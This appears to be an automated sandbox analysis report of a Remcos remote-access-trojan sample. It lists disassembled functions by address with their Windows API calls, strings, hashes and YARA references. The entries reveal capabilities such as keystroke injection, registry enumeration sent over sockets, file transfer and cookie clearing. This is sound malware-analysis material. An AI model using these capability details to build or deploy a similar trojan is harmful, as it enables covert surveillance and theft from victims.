                                                                                                                              Similarity
                                                                                                                              • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                                                                                                              • String ID: Remcos
                                                                                                                              • API String ID: 1970332568-165870891
                                                                                                                              • Opcode ID: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                                                                                                                              • Instruction ID: 4ccd8a34d55b2cf311069b5b9598b364b65d9d4e2968dcdf9eb94a5ca0393a4d
                                                                                                                              • Opcode Fuzzy Hash: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                                                                                                                              • Instruction Fuzzy Hash: AC015271800245EBD7109FA5EC4CFEABB7CEB85705F004026F515930A1D778E885CB98
                                                                                                                              Function 0044CD80 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 5edaaaea362a6c10ef7d8e875ae5e8a922473b35402a21f9a1197ff68539a873
                                                                                                                              • Instruction ID: c2c0890efeac2311cc0422bbb5d66c498191acafde20d8af94b1f6b0c86a236e
                                                                                                                              • Opcode Fuzzy Hash: 5edaaaea362a6c10ef7d8e875ae5e8a922473b35402a21f9a1197ff68539a873
                                                                                                                              • Instruction Fuzzy Hash: 5AC1D770D04249AFEF11DFA9C881BAEBBB4EF09314F18415AE914A7392C77C9D41CB69
                                                                                                                              Function 00453D83 Relevance: 13.8, APIs: 9, Instructions: 268COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetCPInfo.KERNEL32(?,?), ref: 00453E2F
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00453EB2
                                                                                                                              • __alloca_probe_16.LIBCMT ref: 00453EEA
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00453F45
                                                                                                                              • __alloca_probe_16.LIBCMT ref: 00453F94
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00453F5C
                                                                                                                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00453FD8
                                                                                                                              • __freea.LIBCMT ref: 00454003
                                                                                                                              • __freea.LIBCMT ref: 0045400F
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 201697637-0
                                                                                                                              • Opcode ID: cf0f5bca4b9d7a6a0537f160270e877f32bb2155bdb84350bfddf98010c842c7
                                                                                                                              • Instruction ID: bd5a1837779a5f2dcb5c2ea5aeb828518df7829aba760434011a70bbc407b236
                                                                                                                              • Opcode Fuzzy Hash: cf0f5bca4b9d7a6a0537f160270e877f32bb2155bdb84350bfddf98010c842c7
                                                                                                                              • Instruction Fuzzy Hash: E391F472E002069ADB209E65CC42AEFBBF59F09756F14052BFC01E7282D739DD89C768
                                                                                                                              Function 00445179 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                                                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                                                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                                                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                                                              • _memcmp.LIBVCRUNTIME ref: 00445423
                                                                                                                              • _free.LIBCMT ref: 00445494
                                                                                                                              • _free.LIBCMT ref: 004454AD
                                                                                                                              • _free.LIBCMT ref: 004454DF
                                                                                                                              • _free.LIBCMT ref: 004454E8
                                                                                                                              • _free.LIBCMT ref: 004454F4
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$ErrorLast$_abort_memcmp
                                                                                                                              • String ID: C
                                                                                                                              • API String ID: 1679612858-1037565863
                                                                                                                              • Opcode ID: a8f4e868e6027df86e14abe5e970da0ea11d1bbd4f9432e493711607e9b70df4
                                                                                                                              • Instruction ID: 551747f29a431029642ca2aca46be5bbca0cbe6c77a4b2ed9ddfbf6361621c56
                                                                                                                              • Opcode Fuzzy Hash: a8f4e868e6027df86e14abe5e970da0ea11d1bbd4f9432e493711607e9b70df4
                                                                                                                              • Instruction Fuzzy Hash: B2B13975A016199BEB24DF18C884BAEB7B4FF08308F5045EEE949A7351E774AE90CF44
                                                                                                                              Function 0041490A Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: tcp$udp
                                                                                                                              • API String ID: 0-3725065008
                                                                                                                              • Opcode ID: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                                                                                                                              • Instruction ID: c6aeaafd44a905d145cb4251883953767b251f71b123717361be5a5837da4da2
                                                                                                                              • Opcode Fuzzy Hash: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                                                                                                                              • Instruction Fuzzy Hash: 637177B06083028FDB24CF65C480BABB7E4AFD4395F15442FF88986351E778DD858B9A
                                                                                                                              Function 00411CFE Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 206memoryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0041179C: SetLastError.KERNEL32(0000000D,00411D1C,00000000,t^F,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 004117A2
                                                                                                                              • SetLastError.KERNEL32(000000C1,00000000,t^F,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411D37
                                                                                                                              • GetNativeSystemInfo.KERNEL32(?,?,00000000,t^F,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411DA5
                                                                                                                              • SetLastError.KERNEL32(0000000E), ref: 00411DC9
                                                                                                                                • Part of subcall function 00411CA3: VirtualAlloc.KERNEL32(00000000,00000000,00000000,00000000,00411DE7,?,00000000,00003000,00000040,00000000), ref: 00411CB3
                                                                                                                              • GetProcessHeap.KERNEL32(00000008,00000040), ref: 00411E10
                                                                                                                              • HeapAlloc.KERNEL32(00000000), ref: 00411E17
                                                                                                                              • SetLastError.KERNEL32(0000045A), ref: 00411F2A
                                                                                                                                • Part of subcall function 00412077: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37), ref: 004120E7
                                                                                                                                • Part of subcall function 00412077: HeapFree.KERNEL32(00000000), ref: 004120EE
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
                                                                                                                              • String ID: t^F
                                                                                                                              • API String ID: 3950776272-389975521
                                                                                                                              • Opcode ID: 461a53a6892bac39e8501077da2db8edf6161aa159888280e3eaf045f7e1ced3
                                                                                                                              • Instruction ID: a5564978de1508fcfe39aaa31f5973b4ee53e0220ffe5d2cf9b9f7f7cc9a58c7
                                                                                                                              • Opcode Fuzzy Hash: 461a53a6892bac39e8501077da2db8edf6161aa159888280e3eaf045f7e1ced3
                                                                                                                              • Instruction Fuzzy Hash: B661E370601201ABC7109F66C980BAB7BA5BF44744F04411BFA058B7A2E7BCE8D2CBD9
                                                                                                                              Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • __Init_thread_footer.LIBCMT ref: 004018BE
                                                                                                                              • ExitThread.KERNEL32 ref: 004018F6
                                                                                                                              • waveInUnprepareHeader.WINMM(?,00000020,00000000,?,00000020,00474EE0,00000000), ref: 00401A04
                                                                                                                                • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                                                                                                                              • String ID: PkG$XMG$NG$NG
                                                                                                                              • API String ID: 1649129571-3151166067
                                                                                                                              • Opcode ID: cdec32db15edff859d4dc3adfbb971a1a7df97296c827c92140e57336d635a83
                                                                                                                              • Instruction ID: 5b8630810f78da979eb204bf693be1d55f2004797ab3201abec5cd50ea38d472
                                                                                                                              • Opcode Fuzzy Hash: cdec32db15edff859d4dc3adfbb971a1a7df97296c827c92140e57336d635a83
                                                                                                                              • Instruction Fuzzy Hash: BF41B4312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D49C75E
                                                                                                                              Function 00407963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000,00000000,00474EE0,00465FA4,?,00000000,00407FFC,00000000), ref: 004079C5
                                                                                                                              • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000,?,000186A0,?,?,00000000,00407FFC,00000000,?,?,0000000A,00000000), ref: 00407A0D
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                              • CloseHandle.KERNEL32(00000000,?,00000000,00407FFC,00000000,?,?,0000000A,00000000), ref: 00407A4D
                                                                                                                              • MoveFileW.KERNEL32(00000000,00000000), ref: 00407A6A
                                                                                                                              • CloseHandle.KERNEL32(00000000,00000057,?,00000008,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407A95
                                                                                                                              • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AA5
                                                                                                                                • Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(?,000000FF,?,00474EF8,00404C49,00000000,?,?,?,00474EF8,?), ref: 00404BA5
                                                                                                                                • Part of subcall function 00404B96: SetEvent.KERNEL32(?), ref: 00404BC3
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                                                                                                                              • String ID: .part
                                                                                                                              • API String ID: 1303771098-3499674018
                                                                                                                              • Opcode ID: 3af979d2a86f55abb037a5ea190009b8bddef8696a723389280064d929b35107
                                                                                                                              • Instruction ID: 3872d967715c28256f57216ae0d43a20e9ded80e7ed52efebe816600842ab993
                                                                                                                              • Opcode Fuzzy Hash: 3af979d2a86f55abb037a5ea190009b8bddef8696a723389280064d929b35107
                                                                                                                              • Instruction Fuzzy Hash: 7F318371508341AFC210EB21DC4599FB7A8FF94359F00493EB545A2192EB78EE48CB9A
                                                                                                                              Function 00419993 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 004199CC
                                                                                                                              • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 004199ED
                                                                                                                              • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 00419A0D
                                                                                                                              • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 00419A21
                                                                                                                              • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 00419A37
                                                                                                                              • SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 00419A54
                                                                                                                              • SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 00419A6F
                                                                                                                              • SendInput.USER32(00000001,?,0000001C,?,00000000), ref: 00419A8B
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: InputSend
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3431551938-0
                                                                                                                              • Opcode ID: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                                                                                                                              • Instruction ID: babcb3f23bbfeda7ed9031f98f3524dfd9ae94bb4b0c65128b251ed995bccade
                                                                                                                              • Opcode Fuzzy Hash: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                                                                                                                              • Instruction Fuzzy Hash: CE31B471558349AEE310CF51DC41BEBBBDCEF98B54F00080FF6808A181D2A6A9C88B97
                                                                                                                              Function 00447571 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: __freea$__alloca_probe_16_free
                                                                                                                              • String ID: a/p$am/pm$zD
                                                                                                                              • API String ID: 2936374016-2723203690
                                                                                                                              • Opcode ID: ad0e661e8ca139f4988ec10911a06b569de76af7a8f23a444d27c6a0fba4a5cb
                                                                                                                              • Instruction ID: 9fbfa546a4d6e8c17a1525f8bb1fcc11d6b56032d3bbc67104e2604220ae0e85
                                                                                                                              • Opcode Fuzzy Hash: ad0e661e8ca139f4988ec10911a06b569de76af7a8f23a444d27c6a0fba4a5cb
                                                                                                                              • Instruction Fuzzy Hash: 6AD1D1B1918206CAFB249F68C845ABBB7B1FF05310F28415BE545AB351D33D9D43CBA9
                                                                                                                              Function 00413A55 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                                                                                                                              • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 00413AEB
                                                                                                                              • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710,?,?,?,?,?,?,?,?), ref: 00413B8B
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Enum$InfoQueryValue
                                                                                                                              • String ID: [regsplt]$xUG$TG
                                                                                                                              • API String ID: 3554306468-1165877943
                                                                                                                              • Opcode ID: e28986e9332aa07a6eea5a33b9e26ecc66a365c7f4eba0dbebaa861638ff76d3
                                                                                                                              • Instruction ID: b9c9d149d6e4de0395087b00820169330fa190b61d8fc59f93bff107e3475f49
                                                                                                                              • Opcode Fuzzy Hash: e28986e9332aa07a6eea5a33b9e26ecc66a365c7f4eba0dbebaa861638ff76d3
                                                                                                                              • Instruction Fuzzy Hash: E5511D72900219AADB11EB95DC85EEFB77DAF04305F10007AF505F6191EF786B48CBA9
                                                                                                                              Function 00413D0D Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,00020019,?), ref: 00413D46
                                                                                                                                • Part of subcall function 00413A55: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                                                                                                                                • Part of subcall function 00413A55: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 00413AEB
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                              • RegCloseKey.ADVAPI32(00000000,004660A4,004660A4,00466468,00466468,00000071), ref: 00413EB4
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseEnumInfoOpenQuerysend
                                                                                                                              • String ID: xUG$NG$NG$TG
                                                                                                                              • API String ID: 3114080316-2811732169
                                                                                                                              • Opcode ID: c6f35c2bf26cfa5651eb61a3c71b5883c010595c96b2a316ccc479b627cc95f7
                                                                                                                              • Instruction ID: 865164b8d80166fcad8b4517e5ed4c9fbafb7c73de3830c3e78154838722fbed
                                                                                                                              • Opcode Fuzzy Hash: c6f35c2bf26cfa5651eb61a3c71b5883c010595c96b2a316ccc479b627cc95f7
                                                                                                                              • Instruction Fuzzy Hash: 0B419E316082405BC324F726DC56AEF72959FD1348F40883FF54A671D2EF7C5949866E
                                                                                                                              Function 0045112C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000000,000000FF,?,00000000,00000000,0043F8C8,?,00000000,?,00000001,?,000000FF,00000001,0043F8C8,?), ref: 00451179
                                                                                                                              • __alloca_probe_16.LIBCMT ref: 004511B1
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00451202
                                                                                                                              • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00451214
                                                                                                                              • __freea.LIBCMT ref: 0045121D
                                                                                                                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 313313983-263838557
                                                                                                                              • Opcode ID: bce85a8c1b82420839f42ccd06a1f385e5b5f24b7ce490b3fee2b1b7615d4ae7
                                                                                                                              • Instruction ID: 2862a929c21554b3885a63a70f5d1b49ed21d23a3953ed9914841bfcf42aa681
                                                                                                                              • Opcode Fuzzy Hash: bce85a8c1b82420839f42ccd06a1f385e5b5f24b7ce490b3fee2b1b7615d4ae7
                                                                                                                              • Instruction Fuzzy Hash: 6631D271A0020AABDF24DFA5DC41EAF7BA5EB04315F0445AAFC04D72A2E739CD55CB94
                                                                                                                              Function 0041B68A Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0041361B: RegOpenKeyExW.ADVAPI32(80000001,00000400,00000000,00020019,?,004750E4), ref: 0041363D
                                                                                                                                • Part of subcall function 0041361B: RegQueryValueExW.ADVAPI32(?,0040F313,00000000,00000000,?,00000400), ref: 0041365C
                                                                                                                                • Part of subcall function 0041361B: RegCloseKey.ADVAPI32(?), ref: 00413665
                                                                                                                                • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                                                                                                              • _wcslen.LIBCMT ref: 0041B763
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseCurrentOpenProcessQueryValue_wcslen
                                                                                                                              • String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
                                                                                                                              • API String ID: 37874593-122982132
                                                                                                                              • Opcode ID: 2f5c0ff3d6ea7972f87a7f3e3c7ffac37502a487daadfbe7cd55c680b7f4a926
                                                                                                                              • Instruction ID: 0af867b59be632d30c611c6dccf556baefac66a2e67262e696d3f692bc65d575
                                                                                                                              • Opcode Fuzzy Hash: 2f5c0ff3d6ea7972f87a7f3e3c7ffac37502a487daadfbe7cd55c680b7f4a926
                                                                                                                              • Instruction Fuzzy Hash: 6721A472A002086BDB14BAB58CD6AFE766D9B85328F14043FF405B72C2EE7C9D494269
                                                                                                                              Function 0040BEE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 004135A6: RegOpenKeyExA.KERNELBASE(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                                                                                                                • Part of subcall function 004135A6: RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,00000400), ref: 004135E7
                                                                                                                                • Part of subcall function 004135A6: RegCloseKey.KERNELBASE(?), ref: 004135F2
                                                                                                                              • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BF6B
                                                                                                                              • PathFileExistsA.SHLWAPI(?), ref: 0040BF78
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                                                                                                                              • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                                                                                                                              • API String ID: 1133728706-4073444585
                                                                                                                              • Opcode ID: 44b5265c6c0164f295b1527da2f4df424204d8919945bee9dcb633f0f8b76136
                                                                                                                              • Instruction ID: 11f9a5ab4d81baf10890d677fe2d2a0774849eb970c5828eb217b404dd8a17fe
                                                                                                                              • Opcode Fuzzy Hash: 44b5265c6c0164f295b1527da2f4df424204d8919945bee9dcb633f0f8b76136
                                                                                                                              • Instruction Fuzzy Hash: 38215271A4021AA6CB04F7B2CC569EE77699F10704F40017FE506B71D2EF7899498ADE
                                                                                                                              Function 00456B53 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 273ab8544d097714f5f9861dee4502037fec93a611cdb24e761043779f074d75
                                                                                                                              • Instruction ID: 6cb1fb7365923ae9cd4386fa22a0d7cc2d4bdc50975796c61f51bb0de8f74700
                                                                                                                              • Opcode Fuzzy Hash: 273ab8544d097714f5f9861dee4502037fec93a611cdb24e761043779f074d75
                                                                                                                              • Instruction Fuzzy Hash: B9110272504214BAEB216F728C0496F3AACEF85326B52422BFD11C7252DE38CC41CAA8
                                                                                                                              Function 00450EFA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00450C41: _free.LIBCMT ref: 00450C6A
                                                                                                                              • _free.LIBCMT ref: 00450F48
                                                                                                                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
                                                                                                                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                                                                                                              • _free.LIBCMT ref: 00450F53
                                                                                                                              • _free.LIBCMT ref: 00450F5E
                                                                                                                              • _free.LIBCMT ref: 00450FB2
                                                                                                                              • _free.LIBCMT ref: 00450FBD
                                                                                                                              • _free.LIBCMT ref: 00450FC8
                                                                                                                              • _free.LIBCMT ref: 00450FD3
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$ErrorFreeHeapLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 776569668-0
                                                                                                                              • Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                                                                                                                              • Instruction ID: d9348172fd0740f80504453a64c2ebf0df3e8af845a5f6206b1ac0666941ab15
                                                                                                                              • Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                                                                                                                              • Instruction Fuzzy Hash: B411A231540B04AAD625BB72CC47FCB779CAF0230BF44491EBEED66053D6ACB9085745
                                                                                                                              Function 00411163 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00411170
                                                                                                                              • int.LIBCPMT ref: 00411183
                                                                                                                                • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                                                                                                                                • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                                                                                                                              • std::_Facet_Register.LIBCPMT ref: 004111C3
                                                                                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 004111CC
